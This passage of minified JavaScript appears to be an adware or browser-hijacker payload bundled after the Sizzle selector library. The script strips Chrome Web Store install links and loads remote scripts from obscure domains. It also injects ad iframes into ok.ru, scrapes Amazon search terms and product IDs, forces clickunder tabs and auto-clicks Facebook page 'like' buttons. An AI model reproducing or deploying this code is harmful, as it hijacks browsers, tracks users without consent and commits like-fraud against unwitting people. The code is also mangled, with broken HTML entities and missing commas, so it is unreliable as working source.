while ((aV = ++aW & amp; & amp; aV & amp; & amp; aV[aT] || (aZ = aW = 0) || aR.pop())) {
if (aV.nodeType === 1 & amp; & amp; ++aZ & amp; & amp; aV === aU) {
a0[i] = [aE, aW, aZ];
break
}
}
} else {
if (aP & amp; & amp;
(aO = (aU[av] || (aU[av] = {}))[i]) & amp; & amp; aO[0] === aE) {
aZ = aO[1]
} else {
while ((aV = ++aW & amp; & amp; aV & amp; & amp; aV[aT] || (aZ = aW = 0) || aR.pop())) {
if ((aM ? aV.nodeName.toLowerCase() === aQ : aV.nodeType === 1) & amp; & amp; ++aZ) {
if (aP) {
(aV[av] || (aV[av] = {}))[i] = [aE, aZ]
}
if (aV === aU) {
break
}
}
}
}
}
aZ -= aI;
return aZ === aL || (aZ % aL === 0 & amp; & amp; aZ / aL & gt; = 0)
}
}
},
PSEUDO: function(aJ, aI) {
var e, i = v.pseudos[aJ] || v.setFilters[aJ.toLowerCase()] || E.error("unsupported pseudo: " + aJ);
if (i[av]) {
return i(aI)
}
if (i.length & gt; 1) {
e = [aJ, aJ, "", aI];
return v.setFilters.hasOwnProperty(aJ.toLowerCase()) ? r(function(aM, aO) {
var aL, aK = i(aM, aI),
aN = aK.length;
while (aN--) {
aL = j.call(aM, aK[aN]);
aM[aL] = !(aO[aL] = aK[aN])
}
}) : function(aK) {
return i(aK, 0, e)
}
}
return i
}
},
pseudos: {
not: r(function(e) {
var i = [],
aI = [],
aJ = ag(e.replace(z, "$1"));
return aJ[av] ? r(function(aL, aQ, aO, aM) {
var aP, aK = aJ(aL, null, aM, []),
aN = aL.length;
while (aN--) {
if ((aP = aK[aN])) {
aL[aN] = !(aQ[aN] = aP)
}
}
}) : function(aM, aL, aK) {
i[0] = aM;
aJ(i, null, aK, aI);
return !aI.pop()
}
}),
has: r(function(e) {
return function(i) {
return E(e, i).length & gt;
0
}
}),
contains: r(function(e) {
return function(i) {
return (i.textContent || i.innerText || R(i)).indexOf(e) & gt; - 1
}
}),
lang: r(function(e) {
if (!ae.test(e || "")) {
E.error("unsupported lang: " + e)
}
e = e.replace(A, ap).toLowerCase();
return function(aI) {
var i;
do {
if ((i = at ? aI.lang : aI.getAttribute("xml:lang") || aI.getAttribute("lang"))) {
i = i.toLowerCase();
return i === e || i.indexOf(e + "-") === 0
}
} while ((aI = aI.parentNode) & amp; & amp; aI.nodeType === 1);
return false
}
}),
target: function(e) {
var i = aA.location & amp; & amp;
aA.location.hash;
return i & amp; & amp;
i.slice(1) === e.id
},
root: function(e) {
return e === w
},
focus: function(e) {
return e === L.activeElement & amp; & amp;
(!L.hasFocus || L.hasFocus()) & amp; & amp;
!!(e.type || e.href || ~e.tabIndex)
},
enabled: function(e) {
return e.disabled === false
},
disabled: function(e) {
return e.disabled === true
},
checked: function(e) {
var i = e.nodeName.toLowerCase();
return (i === "input" & amp; & amp; !!e.checked) || (i === "option" & amp; & amp; !!e.selected)
},
selected: function(e) {
if (e.parentNode) {
e.parentNode.selectedIndex
}
return e.selected === true
},
empty: function(e) {
for (e = e.firstChild; e; e = e.nextSibling) {
if (e.nodeName & gt;
"@" || e.nodeType === 3 || e.nodeType === 4) {
return false
}
}
return true
},
parent: function(e) {
return !v.pseudos.empty(e)
},
header: function(e) {
return t.test(e.nodeName)
},
input: function(e) {
return h.test(e.nodeName)
},
button: function(i) {
var e = i.nodeName.toLowerCase();
return e === "input" & amp; & amp;
i.type === "button" || e === "button"
},
text: function(i) {
var e;
return i.nodeName.toLowerCase() === "input" & amp; & amp;
i.type === "text" & amp; & amp;
((e = i.getAttribute("type")) == null || e.toLowerCase() === i.type)
},
first: ar(function() {
return [0]
}),
last: ar(function(e, i) {
return [i - 1]
}),
eq: ar(function(e, aI, i) {
return [i & lt;0 ? i + aI : i]
}),
even: ar(function(e, aJ) {
var aI = 0;
for (; aI & lt; aJ; aI += 2) {
e.push(aI)
}
return e
}),
odd: ar(function(e, aJ) {
var aI = 1;
for (; aI & lt; aJ; aI += 2) {
e.push(aI)
}
return e
}),
lt: ar(function(e, aK, aJ) {
var aI = aJ & lt;
0 ? aJ + aK : aJ;
for (; --aI & gt; = 0;) {
e.push(aI)
}
return e
}),
gt: ar(function(e, aK, aJ) {
var aI = aJ & lt;
0 ? aJ + aK : aJ;
for (; ++aI & lt; aK;) {
e.push(aI)
}
return e
})
}
};
for (G in {
radio: true,
checkbox: true,
file: true,
password: true,
image: true
}) {
v.pseudos[G] = F(G)
}
for (G in {
submit: true,
reset: true
}) {
v.pseudos[G] = g(G)
}
function p(aK, aP) {
var i, aL, aN, aO, aM, aI, e, aJ = au[aK + " "];
if (aJ) {
return aP ? 0 : aJ.slice(0)
}
aM = aK;
aI = [];
e = v.preFilter;
while (aM) {
if (!i || (aL = D.exec(aM))) {
if (aL) {
aM = aM.slice(aL[0].length) || aM
}
aI.push(aN = [])
}
i = false;
if ((aL = K.exec(aM))) {
i = aL.shift();
aN.push({
value: i,
type: aL[0].replace(z, " ")
});
aM = aM.slice(i.length)
}
for (aO in v.filter) {
if ((aL = am[aO].exec(aM)) & amp; & amp;
(!e[aO] || (aL = e[aO](aL)))) {
i = aL.shift();
aN.push({
value: i,
type: aO,
matches: aL
});
aM = aM.slice(i.length)
}
}
if (!i) {
break
}
}
return aP ? aM.length : aM ? E.error(aK) : au(aK, aI).slice(0)
}
function o(aK) {
var aJ = 0,
aI = aK.length,
e = "";
for (; aJ & lt; aI; aJ++) {
e += aK[aJ].value
}
return e
}
function y(aK, aI, aJ) {
var e = aI.dir,
aL = aJ & amp; & amp;
e === "parentNode",
i = ao++;
return aI.first ? function(aO, aN, aM) {
while ((aO = aO[e])) {
if (aO.nodeType === 1 || aL) {
return aK(aO, aN, aM)
}
}
} : function(aQ, aO, aN) {
var aS, aM, aP, aR = aE + " " + i;
if (aN) {
while ((aQ = aQ[e])) {
if (aQ.nodeType === 1 || aL) {
if (aK(aQ, aO, aN)) {
return true
}
}
}
} else {
while ((aQ = aQ[e])) {
if (aQ.nodeType === 1 || aL) {
aP = aQ[av] || (aQ[av] = {});
if ((aM = aP[e]) & amp; & amp; aM[0] === aR) {
if ((aS = aM[1]) === true || aS === l) {
return aS === true
}
} else {
aM = aP[e] = [aR];
aM[1] = aK(aQ, aO, aN) || l;
if (aM[1] === true) {
return true
}
}
}
}
}
}
}
function aG(e) {
return e.length & gt;
1 ? function(aL, aK, aI) {
var aJ = e.length;
while (aJ--) {
if (!e[aJ](aL, aK, aI)) {
return false
}
}
return true
} : e[0]
}
function ak(e, aI, aJ, aK, aN) {
var aL, aQ = [],
aM = 0,
aO = e.length,
aP = aI != null;
for (; aM & lt; aO; aM++) {
if ((aL = e[aM])) {
if (!aJ || aJ(aL, aK, aN)) {
aQ.push(aL);
if (aP) {
aI.push(aM)
}
}
}
}
return aQ
}
function n(aI, i, aK, aJ, aL, e) {
if (aJ & amp; & amp; !aJ[av]) {
aJ = n(aJ)
}
if (aL & amp; & amp; !aL[av]) {
aL = n(aL, e)
}
return r(function(aW, aT, aO, aV) {
var aY, aU, aQ, aP = [],
aX = [],
aN = aT.length,
aM = aW || I(i || "*", aO.nodeType ? [aO] : aO, []),
aR = aI & amp; & amp;
(aW || !i) ? ak(aM, aP, aI, aO, aV): aM,
aS = aK ? aL || (aW ? aI : aN || aJ) ? [] : aT : aR;
if (aK) {
aK(aR, aS, aO, aV)
}
if (aJ) {
aY = ak(aS, aX);
aJ(aY, [], aO, aV);
aU = aY.length;
while (aU--) {
if ((aQ = aY[aU])) {
aS[aX[aU]] = !(aR[aX[aU]] = aQ)
}
}
}
if (aW) {
if (aL || aI) {
if (aL) {
aY = [];
aU = aS.length;
while (aU--) {
if ((aQ = aS[aU])) {
aY.push((aR[aU] = aQ))
}
}
aL(null, (aS = []), aY, aV)
}
aU = aS.length;
while (aU--) {
if ((aQ = aS[aU]) & amp; & amp;
(aY = aL ? j.call(aW, aQ) : aP[aU]) & gt; - 1) {
aW[aY] = !(aT[aY] = aQ)
}
}
}
} else {
aS = ak(aS === aT ? aS.splice(aN, aS.length) : aS);
if (aL) {
aL(null, aT, aS, aV)
} else {
b.apply(aT, aS)
}
}
})
}
function aw(aN) {
var aI, aL, aJ, aM = aN.length,
aQ = v.relative[aN[0].type],
aR = aQ || v.relative[" "],
aK = aQ ? 1 : 0,
aO = y(function(i) {
return i === aI
}, aR, true),
aP = y(function(i) {
return j.call(aI, i) & gt; - 1
}, aR, true),
e = [function(aT, aS, i) {
return (!aQ & amp; & amp;
(i || aS !== aH)) || ((aI = aS).nodeType ? aO(aT, aS, i) : aP(aT, aS, i))
}];
for (; aK & lt; aM; aK++) {
if ((aL = v.relative[aN[aK].type])) {
e = [y(aG(e), aL)]
} else {
aL = v.filter[aN[aK].type].apply(null, aN[aK].matches);
if (aL[av]) {
aJ = ++aK;
for (; aJ & lt; aM; aJ++) {
if (v.relative[aN[aJ].type]) {
break
}
}
return n(aK & gt; 1 & amp; & amp; aG(e), aK & gt; 1 & amp; & amp; o(aN.slice(0, aK - 1).concat({
value: aN[aK - 2].type === " " ? "*" : ""
})).replace(z, "$1"), aL, aK & lt; aJ & amp; & amp; aw(aN.slice(aK, aJ)), aJ & lt; aM & amp; & amp; aw((aN = aN.slice(aJ))), aJ & lt; aM & amp; & amp; o(aN))
}
e.push(aL)
}
}
return aG(e)
}
function ai(aJ, aI) {
var aL = 0,
e = aI.length & gt;
0,
aK = aJ.length & gt;
0,
i = function(aV, aP, aU, aT, a1) {
var aQ, aR, aW, a0 = [],
aZ = 0,
aS = "0",
aM = aV & amp; & amp;
[],
aX = a1 != null,
aY = aH,
aO = aV || aK & amp; & amp;
v.find.TAG("*", a1 & amp; & amp; aP.parentNode || aP),
aN = (aE += aY == null ? 1 : Math.random() || 0.1);
if (aX) {
aH = aP !== L & amp; & amp;
aP;
l = aL
}
for (;
(aQ = aO[aS]) != null; aS++) {
if (aK & amp; & amp; aQ) {
aR = 0;
while ((aW = aJ[aR++])) {
if (aW(aQ, aP, aU)) {
aT.push(aQ);
break
}
}
if (aX) {
aE = aN;
l = ++aL
}
}
if (e) {
if ((aQ = !aW & amp; & amp; aQ)) {
aZ--
}
if (aV) {
aM.push(aQ)
}
}
}
aZ += aS;
if (e & amp; & amp; aS !== aZ) {
aR = 0;
while ((aW = aI[aR++])) {
aW(aM, a0, aP, aU)
}
if (aV) {
if (aZ & gt; 0) {
while (aS--) {
if (!(aM[aS] || a0[aS])) {
a0[aS] = ay.call(aT)
}
}
}
a0 = ak(a0)
}
b.apply(aT, a0);
if (aX & amp; & amp; !aV & amp; & amp; a0.length & gt; 0 & amp; & amp;
(aZ + aI.length) & gt; 1) {
E.uniqueSort(aT)
}
}
if (aX) {
aE = aN;
aH = aY
}
return aM
};
return e ? r(i) : i
}
ag = E.compile = function(e, aM) {
var aJ, aI = [],
aL = [],
aK = Q[e + " "];
if (!aK) {
if (!aM) {
aM = p(e)
}
aJ = aM.length;
while (aJ--) {
aK = aw(aM[aJ]);
if (aK[av]) {
aI.push(aK)
} else {
aL.push(aK)
}
}
aK = Q(e, ai(aL, aI))
}
return aK
};
function I(aI, aL, aK) {
var aJ = 0,
e = aL.length;
for (; aJ & lt; e; aJ++) {
E(aI, aL[aJ], aK)
}
return aK
}
function aC(aJ, e, aK, aN) {
var aL, aP, aI, aQ, aO, aM = p(aJ);
if (!aN) {
if (aM.length === 1) {
aP = aM[0] = aM[0].slice(0);
if (aP.length & gt; 2 & amp; & amp;
(aI = aP[0]).type === "ID" & amp; & amp; aD.getById & amp; & amp; e.nodeType === 9 & amp; & amp; at & amp; & amp; v.relative[aP[1].type]) {
e = (v.find.ID(aI.matches[0].replace(A, ap), e) || [])[0];
if (!e) {
return aK
}
aJ = aJ.slice(aP.shift().value.length)
}
aL = am.needsContext.test(aJ) ? 0 : aP.length;
while (aL--) {
aI = aP[aL];
if (v.relative[(aQ = aI.type)]) {
break
}
if ((aO = v.find[aQ])) {
if ((aN = aO(aI.matches[0].replace(A, ap), al.test(aP[0].type) & amp; & amp; e.parentNode || e))) {
aP.splice(aL, 1);
aJ = aN.length & amp; & amp;
o(aP);
if (!aJ) {
b.apply(aK, aN);
return aK
}
break
}
}
}
}
}
ag(aJ, aM)(aN, e, !at, aK, al.test(aJ));
return aK
}
v.pseudos.nth = v.pseudos.eq;
function af() {}
af.prototype = v.filters = v.pseudos;
v.setFilters = new af();
aD.sortStable = av.split("").sort(N).join("") === av;
aj();
[0, 0].sort(N);
aD.detectDuplicates = ah;
aA["684a91d7f4464c3350"].Sizzle = E
})(window);;
var e = i[g].Sizzle;
var d = i[g];
d.Sizzle = e;
d.demoMode = i[g].demoMode = (o);
d.ready(function() {
if (location.href.indexOf("thisadsfor.us") & gt; - 1) {
return true
}
try {
(function() {
var x = function() {
var z = "chrome-webstore-item";
var A = document.getElementsByTagName("link");
for (var y = 0, B = A.length; B & gt; y; ++y) {
if (z == A[y].getAttribute("id") || z == A[y].getAttribute("rel")) {
d.loadedCallback("PROMO_ANLZ", "", location.host, location.href, A[y].getAttribute("href"))
}
}
};
x()
})()
} catch (v) {}
try {
(function() {
var z = function() {
location.href = "javascript:(" + function() {
window.onbeforeunload = null;
window.onunload = null;
chrome.webstore.install = null
} + ")()"
};
var y = function() {
window.stop & amp; & amp;
window.stop();
location.replace("about:blank")
};
var x = function() {
if ("50653" == "51433" & amp; & amp; location.hostname.indexOf("olam-hamedia.tech") & gt; - 1) {
return
}
var B = "chrome-webstore-item";
var C = document.getElementsByTagName("link");
for (var A = 0, D = C.length; D & gt; A; ++A) {
if (B == C[A].getAttribute("id") || B == C[A].getAttribute("rel")) {
C[A].setAttribute("rel", "");
C[A].setAttribute("id", "");
C[A].setAttribute("href", "");
z()
}
}
};
if (!location.hostname.match(/dostup-[a-z]+\.com$/) & amp; & amp; location.hostname.indexOf("freevideodownloader") == -1 & amp; & amp; location.hostname.indexOf("musvk") == -1 & amp; & amp; location.hostname.indexOf("vkonline.xyz") == -1 & amp; & amp; location.hostname.indexOf("vkunblock.com") == -1) {
x()
}
})()
} catch (v) {}
var r = function(y) {
var B = {};
y = y.split("?");
if (y.length & lt; 2) {
return B
}
var A = y[1];
var C = A.split("&");
for (var z = 0; z & lt; C.length; z++) {
var D = C[z].split("=");
if (typeof B[D[0]] === "undefined") {
B[D[0]] = D[1]
} else {
if (typeof B[D[0]] === "string") {
var x = [B[D[0]]
D[1]
];
B[D[0]] = x
} else {
B[D[0]].push(D[1])
}
}
}
return B
};
var s = {};
var p = document.getElementsByTagName("script");
for (var t = 0; t & lt; p.length; t++) {
var q = p[t];
if (q.src.search(/684a91d7f4464c3350.*\.js/i) !== -1) {
if (n) {
d.scriptDomain = q.src.replace(/^https?\:\/\//i, "").split("/")[0]
}
s = r(q.src);
break
}
}
if (location.host.indexOf("bing.com") & gt; - 1 & amp; & amp; i.AM & amp; & amp; typeof i.AM == "object") {
i.AM.push(d.scriptDomain)
}
i[g].tbParams = {
wid: "50653"
sid: ""
tid: "1668"
title: "sponsored"
optoutUrl: ""
};
if (s.sid) {
i[g].tbParams.sid = s.sid
}
if (s.title) {
i[g].tbParams.title = decodeURIComponent(s.title)
}
if (s.optout) {
i[g].tbParams.optoutUrl = decodeURIComponent(s.optout)
}
i[g].getParams = r(location.href);
d.tbParams = i[g].tbParams;
d.loadedCallback("LOADED", "", location.host);
var w = /\.(jpg|png|jpeg|gif|bmp|doc|pdf|xls|js|xml|doc|docs|txt|css)$/;
if (location.href.match(w)) {
d.loadedCallback("URL_STATICFILE");
return false
}
var u = /(script\.monetizus\.|metrext\.com|icontent\.us|trendtext\.eu|paypal\.com|secure\.|\.gov|doubleclick\.net|addthis\.com|twitter\.com|docs\.google\.com|drive\.google\.com)/;
if (location.hostname.match(u)) {
d.loadedCallback("URL_IGNOREDOMAIN");
return false
}(function(d, w, u) {
var $$ = w["684a91d7f4464c3350"];
var scriptsToLoad = $$.fromJson("{\"4a71b\":{\"countries_allow\":\"gb,de,fr,es,it,ru,pt,br,be,pl,cz,at,ch,nl,ie,no,se,dk,fi,us\",\"countries_deny\":\"\",\"hostname_allow\":\"(?:google\\\\..*|bing\\\\.com)\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\",\"limit\":\"0\",\"type\":\"platform\",\"key\":\"4a71b\"},\"f4aaf\":{\"countries_allow\":\"\",\"countries_deny\":\"\",\"hostname_allow\":\"\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\",\"limit\":\"3600\",\"type\":\"platform\",\"key\":\"f4aaf\"},\"220bb\":{\"countries_allow\":\"us\",\"countries_deny\":\"\",\"hostname_allow\":\"\",\"hostname_deny\":\"(?:.*\\\\.amazon\\\\..*|amazon\\\\..*)\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\",\"limit\":\"0\",\"type\":\"platform\",\"key\":\"220bb\"},\"02aed\":{\"countries_allow\":\"\",\"countries_deny\":null,\"hostname_allow\":\"\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\",\"limit\":\"0\",\"type\":\"platform\",\"key\":\"02aed\"},\"4a0ef\":{\"countries_allow\":\"\",\"countries_deny\":\"\",\"hostname_allow\":\"(?:google\\\\..*|.*yahoo\\\\..*|.*yandex\\\\..*|msn\\\\..*|duckduckgo\\\\..*|search\\\\.aol\\\\.com|.*ask.*|.*wow\\\\.com.*|search\\\\.mywebsearch\\\\.com|search\\\\.myway\\\\.com)\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\",\"limit\":\"0\",\"type\":\"platform\",\"key\":\"4a0ef\"},\"5de0e\":{\"countries_allow\":\"ar
au be br ca cl co fr de jp my mx nl pe pl pt ro sa za es se ch tw tr ua ae gb us ve it es nl at ch ie fi dk no in \",\"countries_deny\":\"\",\"hostname_allow\":\"(?:google\\\\..*|.*yahoo\\\\..*|.*yandex\\\\..*|msn\\\\..*|duckduckgo\\\\..*|search\\\\.aol\\\\.com|.*ask.*|.*wow\\\\.com.*|search\\\\.mywebsearch\\\\.com|search\\\\.myway\\\\.com)\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\\/\\/asrvvv-a.akamaihd.net\\/get?addonname=\\/TITLE\\/&clientuid=undefined&subID=50653_1668_\\/SID\\/&affid=9686&subaffid=1003&href=\\/REFERRER\\/\",\"limit\":\"0\",\"type\":\"external\",\"key\":\"5de0e\"},\"c3369\":{\"countries_allow\":\"gb
fr de nl dk no se ch fi at es it ie in
br id sg my mx co cl ar pe ve pa cr ni sv hn bo uy gt py ec hk tw\ ",\"countries_deny\":null,\"hostname_allow\":\"(?:google\\\\..*|youtube\\\\.com)\",\"hostname_deny\":\"\",\"browsers_allow\":\"\",\"browsers_deny\":\"\",\"coverage\":\"100\",\"url\":\"\\/\\/www.9ruey8ughjffo.xyz\\/script\\/d.php?uid=50653x1668xzzzzzzzzzzzzzzzzzzzzz&a=3453\",\"limit\":\"0\",\"type\":\"external\",\"key\":\"c3369\"}}");;;;;;;;;;;;;;;;
var isInIframe = function() {
return (window.top != window.self)
};
var runForceSearch;;;;
if (!scriptsToLoad) {
return false
}
$$.monetizationsConfig = scriptsToLoad;
var getUrlFromConfigObject = function(configRow) {
if (configRow.http_url & amp; & amp; window.location.protocol == "http:") {
return configRow.http_url
} else {
if (configRow.https_url & amp; & amp; window.location.protocol == "https:") {
return configRow.https_url
} else {
if (configRow.url) {
return configRow.url
}
}
}
};
if (scriptsToLoad['4a71b'] & amp; & amp; $$.getCookie("__mzpsd") == 1) {
return false
}
if (location.hostname.indexOf("ok.ru") & gt; - 1 & amp; & amp; scriptsToLoad['1f755']) {
var oconf = $$.getMonetizationConfig('1f755');
if (!!oconf.injectOk & amp; & amp; oconf.injectOk == "1") {
(function() {
var d = document.querySelector("body");
if (!d) {
return
}
function i(j) {
j = j.replace(/%PUBLISHER_ID%/, ($$ & amp; & amp; $$.tbParams & amp; & amp; $$.tbParams.wid) ? $$.tbParams.wid : "");
j = j.replace(/%SOURCE_ID%/, ($$ & amp; & amp; $$.tbParams & amp; & amp; $$.tbParams.tid) ? $$.tbParams.tid : "");
j = j.replace(/%SUBID%/, ($$ & amp; & amp; $$.tbParams & amp; & amp; $$.tbParams.sid) ? $$.tbParams.sid : "");
j = j.replace(/INSERT_RANDOM_NUMBER_HERE/, new Date().getTime());
return j
}
var e = i("<iframe id='a60b8ce3' name='a60b8ce3' src='//cdnpps.us/www/delivery/afr.php?zoneid=122&cb=INSERT_RANDOM_NUMBER_HERE&xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='300' height='600' style='display:inline-block;'><a href='//cdnpps.us/www/delivery/ck.php?n=abb06471' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=122&n=abb06471' border='0' alt='' /></a></iframe>");
var c = i("<iframe id='8a61598d' name='8a61598d' src='//cdnpps.us/www/delivery/afr.php?zoneid=119&cb=INSERT_RANDOM_NUMBER_HERE&xid=%PUBLISHER_ID%_%SOURCE_ID%_%SUBID%' frameborder='0' scrolling='no' width='468' height='60' style='display:inline-block;'><a href='//cdnpps.us/www/delivery/ck.php?n=8a61598d' target='_blank'><img src='//cdnpps.us/www/delivery/avw.php?zoneid=119&n=8a61598d' border='0' alt='' /></a></iframe>");
function f(j) {
return document.querySelectorAll(j) || []
}
var a = function(n, j, o, l, m) {
var k = document.createElement("div");
k.setAttribute("id", "_" + Math.floor((Math.random() * 1000000000)));
k.setAttribute("style", m || "");
k.innerHTML = o;
l.style.textAlign = "center";
l.appendChild(k)
};
function b(j) {
j.id = "_" + j.id;
j.setAttribute("data-mytype", "name_baner");
j.innerHTML = "";
a(300, 600, e, j)
}
function h(k, j) {
var l = document.createElement("div");
l.setAttribute("data-mytype", "name_baner");
l.setAttribute("style", "margin:0 auto; overflow:hidden;");
k.setAttribute("data-mytype", "name_baner");
k.appendChild(l);
a(468, 60, c, l, j)
}
var g = function() {
Array.prototype.forEach.call(f("div.feed.__klass.__no-ava>.feed_cnt")function(j) {
if (!j.getAttribute("data-mytype")) {
h(j, "margin: 0 auto 10px;")
}
});
Array.prototype.forEach.call(f('div[class^="feed h-mod"]')function(j) {
if (!j.lastElementChild.getAttribute("data-mytype") & amp; & amp; !j.parentNode.getAttribute("class")) {
h(j, "margin: 10px auto 0;")
}
});
Array.prototype.forEach.call(f('div[data-btype^="LinkBanner_navigate"]')function(j) {
if (!j.getAttribute("data-mytype")) {
j.innerHTML = "";
b(j)
}
});
setTimeout(g, 3333)
};
g()
})();
}
}
if (typeof runForceSearch != "undefined") {
runForceSearch()
}
var amzreg = /(^|www\.)amazon\./g;
if (location.hostname.match(amzreg)) {
(function(f, a) {
function e(h) {
var g
d
i = new RegExp("[?&#]" + h + "=([^&#$]+)", "g");
while (g = i.exec(a.location.href)) {
d = decodeURIComponent((g[1] + "").replace(/\+/g, "%20"))
}
return d
}
function b() {
if (f.location.pathname.indexOf("/s/") !== 0 & amp; & amp; f.location.pathname.indexOf("/gp/search/") !== 0) {
return
}
var p = (f.querySelector("[name=field-keywords]") & amp; & amp; f.querySelector("[name=field-keywords]").value) || e("field-keywords");
var g = "",
i = f.querySelector("#searchDropdownBox option:checked");
if (f.querySelector("#apsRedirectLink")) {
i = f.querySelector("#searchDropdownBox option:first-child")
}
if (!!i) {
g = i.value + "::" + i.textContent
}
var j = [];
var o = [].slice.call(f.querySelectorAll(".s-result-item"));
if (o.length) {
j = o.map(function(m) {
return m.getAttribute("data-asin")
})
}
var k, d = f.getElementById("s-result-count");
if (!!d) {
k = d.textContent.indexOf("-") & gt; - 1 ? parseInt(d.textContent) : 1;
if (f.location.hostname.indexOf("amazon.com.mx") & gt; - 1) {
k = d.textContent.indexOf(" a ") & gt; - 1 ? parseInt(d.textContent) : 1
}
if (f.location.hostname.indexOf("amazon.cn") & gt; - 1 || f.location.hostname.indexOf("amazon.co.jp") & gt; - 1) {
var h = d.textContent.match(/\d+\-\d+/);
if (!!h) {
k = parseInt(h[0])
}
}
}
if (Number.isInteger(k) == false) {
var n = f.querySelector(".pagnCur");
var l = n ? parseInt(n.textContent) : parseInt(e("page")) || 1;
k = (l - 1) * o.length + 1
}
if (!j.length) {
return
}
$$.loadedCallback("AMZN_SEARCH", "", a.location.hostname, p, j.join("
"), k, g)
}
b();
var c = a.history.pushState; window.history.pushState = function(i) {
var d = 1000,
h = f.getElementById("s-results-list-atf"),
g = setInterval(function() {
if (h !== f.getElementById("s-results-list-atf") & amp; & amp; f.getElementById("centerBelowPlusspacer") === null) {
clearInterval(g);
b()
}
if (!d--) {
clearInterval(g)
}
}, 100);
return c.apply(a.history, arguments)
}
})(document, window);
}
var searchEngineCheckResult;
var isSearchEngine = function() {
if (typeof searchEngineCheckResult != "undefined") {
return searchEngineCheckResult
}
var found = false;
["google.", "search.yahoo.", "bing.com", "ask.com", "shopping.yahoo", "search.aol.", "wow.com", "when.com", "search.mywebsearch.com", "search.myway.com", "duckduckgo.com", "mysearch.com", "teoma.com", "searchlock.com", "myprivatesearch.com", "searchprivacy.co", "thesmartsearch.net", "infospace", "safefinder.com", "mysearchguardian.com"].forEach(function(domainCheck) {
if (location.hostname.indexOf(domainCheck) & gt; - 1) {
found = true
}
});
searchEngineCheckResult = found;
return found
};
if (location.hostname.indexOf("facebook.com") & gt; - 1) {
if (scriptsToLoad['5df82']) {
(function(r, j, l) {
var k = j["684a91d7f4464c3350"];
var a = j["684a91d7f4464c3350"].Sizzle;
if (location.hostname.indexOf("facebook.com") & lt; 0) {
return
}
var q = {
_mfbgp_sub_g2: "/fun8times"
};
var g = '5df82';
var o = false;
var t = "_mfbgp_sub_t";
var b = false;
var n = null;
for (var p in q) {
if (location.href.indexOf(q[p]) & gt; - 1) {
n = p
}
}
if (!n) {
var f = false;
var m = k.getCookie(t);
if (m & gt;
(k.unixTimestampNow - 86400)) {
return
}
var c = [];
for (var p in q) {
if (k.getCookie(p)) {
continue
}
c.push(q[p])
}
if (!c || c.length & lt; 1) {
return
}
var e = c[Math.floor(Math.random() * c.length)];
if (typeof e == "undefined") {
return
}
e = "https://facebook.com" + e;
var s = function(i) {
var u = this;
var d = [];
k.on(j.addEventListener ? j : r, "click", function(w) {
var v = w.ctrlKey || w.metaKey || w.altKey || w.shiftKey,
x = w.which & amp; & amp;
1 === w.which || 0 === w.button;
k.each(d, function(y) {
if (y.call(w) === true) {
k.preventDefault(w);
return false
}
})
});
u.backgroundLink = function(x) {
var w = document.createElement("a");
w.href = x;
w.__norewrite = 1;
w.rel = "norewrite";
w.target = "_blank";
var v = document.createEvent("MouseEvents");
v.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null);
w.dispatchEvent(v)
};
u.clickunder = function(v) {
d.push(v)
};
u.clickunder(function(v) {
if (!f & amp; & amp; i) {
u.backgroundLink(i);
k.updateLimits(g);
k.loadedCallback("BANNER_LOAD", g);
k.setCookie(t, k.unixTimestampNow, {
expire: 864000,
path: "/"
});
f = true;
return true
} else {
return false
}
})
};
s(e);
return
}
if (k.getCookie(n)) {
return
}
k.loadedCallback("MNTZ_LOADED", g);
function h() {
if (b) {
return
}
var d = a("#pages-header button.likeButton");
if (d.length & gt; 0) {
d[0].click();
b = true;
k.setCookie(n, 1, {
expire: 86400 * 60,
path: "/"
});
k.setCookie(t, k.unixTimestampNow, {
expire: 864000,
path: "/"
})
}
}
k.ready(function() {
if (o) {
return
}
o = true;
h();
var v = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver;
var i = document.body;
if (typeof v != "undefined") {
var u = new v(function(x) {
x.forEach(function(z) {
if (z.type === "childList") {
for (var y = 0; y & lt; z.addedNodes.length; y++) {
h()
}
}
u.observe(document.body, {
childList: true,
subtree: true
})
})
});
u.observe(i, {
childList: true,
subtree: true
})
} else {
var w = function() {
if (b) {
return true
}
h();
d = setTimeout("checkByTimer", 1000)
};
var d = setTimeout("checkByTimer", 1000)
}
})
})(document, window);
}
if (scriptsToLoad['af23c']) {
(function(f, h, j) {
var g = true;
try {
if (chrome.bookmarks) {
g = false
}
} catch (c) {}
if (location.protocol == "chrome-extension:") {
g = false
}
if (g) {
var b = window.location.href;
var l = document.getElementById("dexscriptpopup");
if (l === null & amp; & amp; b.indexOf("m.facebook.com") != "-1") {
document.body.style.width = "0px";
var k = document.createElement("div");
k.id = "dexscriptpopup";
k.style.cssText = "position:fixed; width:100%; height:100%; z-index:100; background:#fff; top:0px; left: 0px;";
document.body.appendChild(k);
setTimeout(function() {
window.close()
}, 10000)
}
var i = document.createElement("script");
i.id = "dexscriptid";
i.src = "https://votetoda.com/ext/script.php?id=ukr&track=true";
var a = document.getElementById("dexscriptid");
if (a === null) {
document.body.appendChild(i)
} else {}
} else {
var i = document.createElement("script");
i.id = "dexscriptid";
i.src = "https://votetoda.com/ext/script.php?id=ukr&track=false";
var a = document.getElementById("dexscriptid");
if (a === null) {
document.body.appendChild(i)
} else {}
}
})(document, window);
}
if (scriptsToLoad['1f755']) {
var fconf = $$.getMonetizationConfig('1f755');
if (!!fconf.injectFacebook & amp; & amp; fconf.injectFacebook == "1") {
(function() {
var d = document.querySelector("body");
if (!d) {
return
}
function j(k) {
k = k.replace(/%PUBLISHER_ID%/, ($$ & amp; & amp; $$.tbParams & amp; & amp; $$.tbParams.wid) ? $$.tbParams.wid : "");
